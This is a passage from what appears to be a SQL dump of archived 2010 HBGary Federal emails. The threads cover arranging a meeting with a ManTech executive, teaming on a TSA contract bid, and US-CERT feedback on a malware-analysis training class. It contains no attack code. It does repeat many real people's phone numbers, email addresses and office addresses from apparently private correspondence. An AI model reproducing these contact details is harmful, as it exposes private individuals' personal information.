through Outlook. \r\n\r\nThank you,\r\n\r\nDana M. Briggs\r\nExecutive Assistant to\r\nL. William Varner, President\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171 \r\n(703) 674-2626 - phone\r\n(571) 485-2362 - e-fax\r\nDana.Briggs@ManTech.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 8:51 AM\r\nTo: Briggs, Dana M\r\nSubject: Meeting with Bill\r\n\r\nHi Dana,\r\n\r\nI spoke with Bill yesterday about getting together to discuss some\r\nbusiness opportunities.  Could you find an open spot in his calendar?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16300,'aaron_hbgary_com/16300.html'),(9659,'2010-08-04','Sean.Sobieraj@us-cert.gov','/aaron@hbgary.com/new/1297007621.M562408P14101Q4514.eml','jim@hbgary.com,maria@hbgary.com,jim@hbgary.com,maria@hbgary.com','RE: HBGary Training Feedback','Jim,\r\n\r\nThanks for the info.  Dave Kyger would like to attend September 14-16\r\nand Mike Compton, Roselle Safran and I would like to retake the class in\r\nNovember.  Is that possible?\r\n\r\n/r\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Jim Richards [mailto:jim@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:36 PM\r\nTo: Sobieraj, Sean C; maria@hbgary.com\r\nCc: Copeland, Byron; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nSean,\r\nThe next class in McLean after the September 14-16 class is November 2-4\r\n(https://www.hbgary.com/training/). Please let me know how you want to\r\nproceed with this.\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864 Cell Phone:\r\n916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov]\r\nSent: Wednesday, August 04, 2010 9:11 AM\r\nTo: maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com; jim@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\n\r\nThanks Maria, we are looking forward to the additional training.  We\r\nwould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes beyond\r\nthat?\r\n\r\nThursday or Friday around the same time should also be fine.  That might\r\nactually be better coming off the long weekend.  I don\'t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  We\r\nare working that out.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 1:20 PM\r\nTo: Sobieraj, Sean C\r\nCc: Copeland, Byron; Aaron Barr; Jim Richards\r\nSubject: Re: HBGary Training Feedback\r\n\r\nHi Sean\r\n\r\nThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some\r\nhe said are doable.... you should hear from Jim...  Support is\r\nresearching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in\r\nSeptember and schedule time to work with you and your team in the lab.\r\nPlus, you may repeat the class anytime, or you may send a person to\r\naudit the next 3 day class and provide feedback...  \r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30\r\nam meeting.  I would be available if the meeting were set later in the\r\nweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an\r\nNDA in place for the meeting?\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 6:06 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	Here\'s some feedback regarding the Responder Pro training:\r\n	- The instructor was very knowledgeable and helpful, however\r\nthere was\r\n	not enough time to cover all the material.  What we did cover\r\nwas rushed\r\n	and other sections were omitted entirely.\r\n	- There was no thorough review of the lab exercises.  For some\r\nwe were\r\n	provided the correct answers and the rest we did not review at\r\nall.\r\n	- It was not clear what level of experience was expected by the\r\n	students.  There were many with little knowledge of malware\r\nanalysis who\r\n	had a hard time following the material, and didn\'t understand\r\nwhy you\r\n	would look some places for information and what made it\r\nsignificant.\r\n	- Students had to spend time installing programs and updates and\r\n	figuring out how to disable the AV after we determined it was\r\ncorrupting\r\n	the lab files.  This took away from the time doing analysis.\r\n	- The multiple choice quizzes in the lecture material were not\r\nhelpful.\r\n	- Although more of an admin issue, the directions to the class\r\nhad us\r\n	report to a classroom in a different building that apparently\r\nhad not\r\n	been used for this training in some time.\r\n	\r\n	Some suggestions:\r\n	- Increase the length of the course to allow sufficient time for\r\nreview\r\n	and discussion of the material.  (I heard it was changed to 3\r\ndays.)\r\n	- Increase the hands-on time so the lab exercises equal or\r\nexceed the\r\n	lecture time.\r\n	- Step through an entire analysis, including compiling the data\r\ninto a\r\n	report.  A more linear approach to analysis with somewhat of a\r\ndecision\r\n	tree like you mentioned might help people understand the process\r\nas it\r\n	relates to Responder Pro when first being introduced to it.\r\n	- Possibly allow an opportunity to analyze malware samples\r\nprovided by\r\n	the students, with the students collaborating on the analysis\r\nand using\r\n	the techniques taught in class.\r\n	- A performance evaluation at the conclusion of training.  Not\r\nmultiple\r\n	choice questions, but a sample requiring analysis, with a\r\npassing grade\r\n	being a report with the required information.\r\n	\r\n	As a result of the lack of review and discussion, and omitted\r\nlecture\r\n	material, the class was of little value and didn\'t not\r\nsignificantly\r\n	contribute to our ability to use Responder Pro for malware\r\nanalysis.\r\n	\r\n	Unrelated to the class, an analyst here had a poor experience\r\nwith\r\n	HBGary\'s technical support.  This person never received an email\r\nor call\r\n	about the ticket (#394) until after receiving a notification\r\nthat it had\r\n	been closed without the problem being resolved.  I believe the\r\nissue was\r\n	addressed at the class.\r\n	\r\n	Regarding the Threat Management Center demo, how does early\r\nSeptember\r\n	sound?  Maybe sometime after 10am on September 7th?\r\n	\r\n	Thanks,\r\n	Sean\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',15014,'aaron_hbgary_com/15014.html'),(9660,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007621.M777627P14101Q4515.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','TSA','Penny,\r\n\r\nIt would be worth mentioning to Doug and Dale next week that HBGary Federal is going after the TSA ITSSS RFP that was just released.  I would be very interested to get their reaction.  This is the SOC/Forensics $190M contract that would inevitably use AD.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14096,'aaron_hbgary_com/14096.html'),(9661,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007622.M618781P14101Q4516.eml','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','Re: Meeting with Bill','How about 11am on 8/11.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Bill is available the following times next week for a one hour meeting\r\n> here in his Herndon office:\r\n> \r\n> Wed. 8/11 \r\n> 11am \r\n> 2pm or after\r\n> \r\n> Thurs. 8/12\r\n> 2pm or after\r\n> \r\n> Let me know if any of those times work for you and I will send you an\r\n> appointment through Outlook. \r\n> \r\n> Thank you,\r\n> \r\n> Dana M. Briggs\r\n> Executive Assistant to\r\n> L. William Varner, President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> 2250 Corporate Park Drive, Suite 500\r\n> Herndon, VA 20171 \r\n> (703) 674-2626 - phone\r\n> (571) 485-2362 - e-fax\r\n> Dana.Briggs@ManTech.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 8:51 AM\r\n> To: Briggs, Dana M\r\n> Subject: Meeting with Bill\r\n> \r\n> Hi Dana,\r\n> \r\n> I spoke with Bill yesterday about getting together to discuss some\r\n> business opportunities.  Could you find an open spot in his calendar?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13046,'aaron_hbgary_com/13046.html'),(9662,'2010-08-04','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007622.M874752P14101Q4517.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Cosgrave, Michael C.\" <Michael.Cosgrave@ManTech.com>','RE: TSA Opportunity','Mike meet aaron\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:08 PM\r\nTo: Frisbie, Robert P\r\nSubject: TSA Opportunity\r\n\r\nBob,\r\n\r\nI know this is not your area but I can\'t get a hold of Eric and I need\r\nto make the connection soon if their is a possible opportunity.  There\r\nis a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB\r\nSet-aside.  We are teamed with Digitalmanagement, they recruited us for\r\nthis effort a while back.  They would like a larger defense contractor\r\non the team, were talking with Northrop, I waved my arms vigorously and\r\nsaid ManTech is the company that is a better fit and will better\r\nexecute.  Can you put me in touch with the person that handles TSA?\r\n\r\nSee you tomorrow.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14143,'aaron_hbgary_com/14143.html'),(9663,'2010-08-04','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007623.M295888P14101Q4519.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Bill','Sure thing.  Will you be bringing anyone else?  I just need a headcount\r\nso I know if I need to book a Conference Room.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:36 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Meeting with Bill\r\n\r\nHow about 11am on 8/11.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Bill is available the following times next week for a one hour meeting\r\n> here in his Herndon office:\r\n> \r\n> Wed. 8/11 \r\n> 11am \r\n> 2pm or after\r\n> \r\n> Thurs. 8/12\r\n> 2pm or after\r\n> \r\n> Let me know if any of those times work for you and I will send you an\r\n> appointment through Outlook. \r\n> \r\n> Thank you,\r\n> \r\n> Dana M. Briggs\r\n> Executive Assistant to\r\n> L. William Varner, President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> 2250 Corporate Park Drive, Suite 500\r\n> Herndon, VA 20171 \r\n> (703) 674-2626 - phone\r\n> (571) 485-2362 - e-fax\r\n> Dana.Briggs@ManTech.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 8:51 AM\r\n> To: Briggs, Dana M\r\n> Subject: Meeting with Bill\r\n> \r\n> Hi Dana,\r\n> \r\n> I spoke with Bill yesterday about getting together to discuss some\r\n> business opportunities.  Could you find an open spot in his calendar?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7165,'aaron_hbgary_com/7165.html'),(9664,'2010-08-04','\"Cosgrave, Michael C.\" <Michael.Cosgrave@ManTech.com>','/aaron@hbgary.com/new/1297007623.M501916P14101Q4520.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: TSA Opportunity','Aaron, nice to meet you.  We are interested in this opportunity.\r\n\r\nI have cc\'ed Tim Fouche, our operational lead for our DHS work to include TSA.  I have also included Lynda Burroughs, who is a BD Director focused on DHS.\r\n\r\nPlease let us know when you have some time to chat.  Thanks.\r\n\r\nRespectfully, \r\n \r\nMike Cosgrave\r\nVice President, Justice and Homeland Security Solutions Division\r\nCyber Defense Solutions Business Unit\r\nManTech Mission, Cyber, & Technology Solutions (MCTS) \r\n703-674-2667 office\r\n703-216-6027 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Frisbie, Robert P \r\nSent: Wednesday, August 04, 2010 2:44 PM\r\nTo: Aaron Barr; Cosgrave, Michael C.\r\nSubject: RE: TSA Opportunity\r\n\r\nMike meet aaron\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:08 PM\r\nTo: Frisbie, Robert P\r\nSubject: TSA Opportunity\r\n\r\nBob,\r\n\r\nI know this is not your area but I can\'t get a hold of Eric and I need to make the connection soon if their is a possible opportunity.  There is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB Set-aside.  We are teamed with Digitalmanagement, they recruited us for this effort a while back.  They would like a larger defense contractor on the team, were talking with Northrop, I waved my arms vigorously and said ManTech is the company that is a better fit and will better execute.  Can you put me in touch with the person that handles TSA?\r\n\r\nSee you tomorrow.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.\r\n\r\n',8781,'aaron_hbgary_com/8781.html'),(9665,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007623.M703353P14101Q4521.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: TSA Opportunity','Thanks Bob.\r\n\r\nMike.  Can we have a brief call to discuss the TSA ITSSS opportunity?  I am available the rest of the afternoon.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 2:44 PM, Frisbie, Robert P wrote:\r\n\r\n> Mike meet aaron\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 12:08 PM\r\n> To: Frisbie, Robert P\r\n> Subject: TSA Opportunity\r\n> \r\n> Bob,\r\n> \r\n> I know this is not your area but I can\'t get a hold of Eric and I need\r\n> to make the connection soon if their is a possible opportunity.  There\r\n> is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB\r\n> Set-aside.  We are teamed with Digitalmanagement, they recruited us for\r\n> this effort a while back.  They would like a larger defense contractor\r\n> on the team, were talking with Northrop, I waved my arms vigorously and\r\n> said ManTech is the company that is a better fit and will better\r\n> execute.  Can you put me in touch with the person that handles TSA?\r\n> \r\n> See you tomorrow.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8765,'aaron_hbgary_com/8765.html'),(9666,'2010-08-04','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297007623.M78753P14101Q4518.eml','Sean.Sobieraj@us-cert.gov,maria@hbgary.com,Sean.Sobieraj@us-cert.gov,maria@hbgary.com','RE: HBGary Training Feedback','Sure, that can be done. Please send the contact information for everyone,\r\nand I\'ll be happy to enroll them...\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov] \r\nSent: Wednesday, August 04, 2010 11:28 AM\r\nTo: jim@hbgary.com; maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nJim,\r\n\r\nThanks for the info.  Dave Kyger would like to attend September 14-16\r\nand Mike Compton, Roselle Safran and I would like to retake the class in\r\nNovember.  Is that possible?\r\n\r\n/r\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Jim Richards [mailto:jim@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:36 PM\r\nTo: Sobieraj, Sean C; maria@hbgary.com\r\nCc: Copeland, Byron; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nSean,\r\nThe next class in McLean after the September 14-16 class is November 2-4\r\n(https://www.hbgary.com/training/). Please let me know how you want to\r\nproceed with this.\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864 Cell Phone:\r\n916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov]\r\nSent: Wednesday, August 04, 2010 9:11 AM\r\nTo: maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com; jim@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\n\r\nThanks Maria, we are looking forward to the additional training.  We\r\nwould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes beyond\r\nthat?\r\n\r\nThursday or Friday around the same time should also be fine.  That might\r\nactually be better coming off the long weekend.  I don\'t think an NDA is\r\nnecessary for the meeting but it may be for sharing malware samples.  We\r\nare working that out.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 1:20 PM\r\nTo: Sobieraj, Sean C\r\nCc: Copeland, Byron; Aaron Barr; Jim Richards\r\nSubject: Re: HBGary Training Feedback\r\n\r\nHi Sean\r\n\r\nThanks for the feedback! \r\n \r\nJim Richards, Training Manager will be incorporating your ideas -- some\r\nhe said are doable.... you should hear from Jim...  Support is\r\nresearching the ticket and will retrace to see what happened on our end.\r\n \r\nFor additional training, Phil Wallisch said that he will call you in\r\nSeptember and schedule time to work with you and your team in the lab.\r\nPlus, you may repeat the class anytime, or you may send a person to\r\naudit the next 3 day class and provide feedback...  \r\n \r\nWith regards to the date.  Aaron Barr is available Tuesday for a 10:30\r\nam meeting.  I would be available if the meeting were set later in the\r\nweek, but it is reallly Aaron that you need to speak with.  Aaron has an\r\nISSA Clearance, which equates to ts/sci/g/h.  Did you want to have an\r\nNDA in place for the meeting?\r\n \r\nI will also be with Aaron at the GFIRST conference..........\r\n \r\n \r\nMaria\r\n\r\n\r\nOn Tue, Aug 3, 2010 at 6:06 AM,  wrote:\r\n\r\n\r\n	Maria,\r\n	\r\n	Here\'s some feedback regarding the Responder Pro training:\r\n	- The instructor was very knowledgeable and helpful, however\r\nthere was\r\n	not enough time to cover all the material.  What we did cover\r\nwas rushed\r\n	and other sections were omitted entirely.\r\n	- There was no thorough review of the lab exercises.  For some\r\nwe were\r\n	provided the correct answers and the rest we did not review at\r\nall.\r\n	- It was not clear what level of experience was expected by the\r\n	students.  There were many with little knowledge of malware\r\nanalysis who\r\n	had a hard time following the material, and didn\'t understand\r\nwhy you\r\n	would look some places for information and what made it\r\nsignificant.\r\n	- Students had to spend time installing programs and updates and\r\n	figuring out how to disable the AV after we determined it was\r\ncorrupting\r\n	the lab files.  This took away from the time doing analysis.\r\n	- The multiple choice quizzes in the lecture material were not\r\nhelpful.\r\n	- Although more of an admin issue, the directions to the class\r\nhad us\r\n	report to a classroom in a different building that apparently\r\nhad not\r\n	been used for this training in some time.\r\n	\r\n	Some suggestions:\r\n	- Increase the length of the course to allow sufficient time for\r\nreview\r\n	and discussion of the material.  (I heard it was changed to 3\r\ndays.)\r\n	- Increase the hands-on time so the lab exercises equal or\r\nexceed the\r\n	lecture time.\r\n	- Step through an entire analysis, including compiling the data\r\ninto a\r\n	report.  A more linear approach to analysis with somewhat of a\r\ndecision\r\n	tree like you mentioned might help people understand the process\r\nas it\r\n	relates to Responder Pro when first being introduced to it.\r\n	- Possibly allow an opportunity to analyze malware samples\r\nprovided by\r\n	the students, with the students collaborating on the analysis\r\nand using\r\n	the techniques taught in class.\r\n	- A performance evaluation at the conclusion of training.  Not\r\nmultiple\r\n	choice questions, but a sample requiring analysis, with a\r\npassing grade\r\n	being a report with the required information.\r\n	\r\n	As a result of the lack of review and discussion, and omitted\r\nlecture\r\n	material, the class was of little value and didn\'t not\r\nsignificantly\r\n	contribute to our ability to use Responder Pro for malware\r\nanalysis.\r\n	\r\n	Unrelated to the class, an analyst here had a poor experience\r\nwith\r\n	HBGary\'s technical support.  This person never received an email\r\nor call\r\n	about the ticket (#394) until after receiving a notification\r\nthat it had\r\n	been closed without the problem being resolved.  I believe the\r\nissue was\r\n	addressed at the class.\r\n	\r\n	Regarding the Threat Management Center demo, how does early\r\nSeptember\r\n	sound?  Maybe sometime after 10am on September 7th?\r\n	\r\n	Thanks,\r\n	Sean\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n--\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n',7123,'aaron_hbgary_com/7123.html'),(9667,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007623.M911264P14101Q4522.eml','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','Re: Meeting with Bill','Just me.\r\n\r\nOn Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n\r\n> Sure thing.  Will you be bringing anyone else?  I just need a headcount\r\n> so I know if I need to book a Conference Room.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 2:36 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> How about 11am on 8/11.\r\n> \r\n> Aaron\r\n> \r\n> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> Bill is available the following times next week for a one hour meeting\r\n>> here in his Herndon office:\r\n>> \r\n>> Wed. 8/11 \r\n>> 11am \r\n>> 2pm or after\r\n>> \r\n>> Thurs. 8/12\r\n>> 2pm or after\r\n>> \r\n>> Let me know if any of those times work for you and I will send you an\r\n>> appointment through Outlook. \r\n>> \r\n>> Thank you,\r\n>> \r\n>> Dana M. Briggs\r\n>> Executive Assistant to\r\n>> L. William Varner, President\r\n>> Mission, Cyber & Technology Solutions Group\r\n>> ManTech International Corporation\r\n>> 2250 Corporate Park Drive, Suite 500\r\n>> Herndon, VA 20171 \r\n>> (703) 674-2626 - phone\r\n>> (571) 485-2362 - e-fax\r\n>> Dana.Briggs@ManTech.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>> To: Briggs, Dana M\r\n>> Subject: Meeting with Bill\r\n>> \r\n>> Hi Dana,\r\n>> \r\n>> I spoke with Bill yesterday about getting together to discuss some\r\n>> business opportunities.  Could you find an open spot in his calendar?\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4615,'aaron_hbgary_com/4615.html'),(9668,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007624.M116812P14101Q4523.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: TSA','Penny\r\n \r\nCould Aaron attend the meeting with Bob and Doug Maughan?  It is scheduled for next Tuesday -- waiting for Dale&#39;s confirmation....\r\n \r\nAlternatively, once Dale is available I can setup a time for him to meet Aaron and learn about HBGary Federal Services.\r\n \r\nMaria\r\nOn Wed, Aug 4, 2010 at 11:33 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny,It would be worth mentioning to Doug and Dale next week that HBGary Federal is going after the TSA ITSSS RFP that was just released.  I would be very interested to get their reaction.  This is the SOC/Forensics $190M contract that would inevitably use AD.\r\nAaron BarrCEOHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',3743,'aaron_hbgary_com/3743.html'),(9669,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007624.M372596P14101Q4524.eml','\"Cosgrave, Michael C.\" <Michael.Cosgrave@ManTech.com>,\"Cosgrave, Michael C.\" <Michael.Cosgrave@ManTech.com>,','Re: TSA Opportunity','Hello all,\r\n\r\nGreat.  I am available the rest of the afternoon if you can chat.\r\n\r\nPlease call 719.510.8478.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 2:46 PM, Cosgrave, Michael C. wrote:\r\n\r\n> Aaron, nice to meet you.  We are interested in this opportunity.\r\n> \r\n> I have cc\'ed Tim Fouche, our operational lead for our DHS work to include TSA.  I have also included Lynda Burroughs, who is a BD Director focused on DHS.\r\n> \r\n> Please let us know when you have some time to chat.  Thanks.\r\n> \r\n> Respectfully, \r\n>  \r\n> Mike Cosgrave\r\n> Vice President, Justice and Homeland Security Solutions Division\r\n> Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber, & Technology Solutions (MCTS) \r\n> 703-674-2667 office\r\n> 703-216-6027 cell\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Frisbie, Robert P \r\n> Sent: Wednesday, August 04, 2010 2:44 PM\r\n> To: Aaron Barr; Cosgrave, Michael C.\r\n> Subject: RE: TSA Opportunity\r\n> \r\n> Mike meet aaron\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 12:08 PM\r\n> To: Frisbie, Robert P\r\n> Subject: TSA Opportunity\r\n> \r\n> Bob,\r\n> \r\n> I know this is not your area but I can\'t get a hold of Eric and I need to make the connection soon if their is a possible opportunity.  There is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB Set-aside.  We are teamed with Digitalmanagement, they recruited us for this effort a while back.  They would like a larger defense contractor on the team, were talking with Northrop, I waved my arms vigorously and said ManTech is the company that is a better fit and will better execute.  Can you put me in touch with the person that handles TSA?\r\n> \r\n> See you tomorrow.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7601,'aaron_hbgary_com/7601.html'),(9670,'2010-08-04','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007624.M642026P14101Q4525.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Bill','Got it.  Do you remember how to get here or shall I send you directions?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:48 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Meeting with Bill\r\n\r\nJust me.\r\n\r\nOn Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n\r\n> Sure thing.  Will you be bringing anyone else?  I just need a\r\nheadcount\r\n> so I know if I need to book a Conference Room.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 2:36 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> How about 11am on 8/11.\r\n> \r\n> Aaron\r\n> \r\n> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> Bill is available the following times next week for a one hour\r\nmeeting\r\n>> here in his Herndon office:\r\n>> \r\n>> Wed. 8/11 \r\n>> 11am \r\n>> 2pm or after\r\n>> \r\n>> Thurs. 8/12\r\n>> 2pm or after\r\n>> \r\n>> Let me know if any of those times work for you and I will send you an\r\n>> appointment through Outlook. \r\n>> 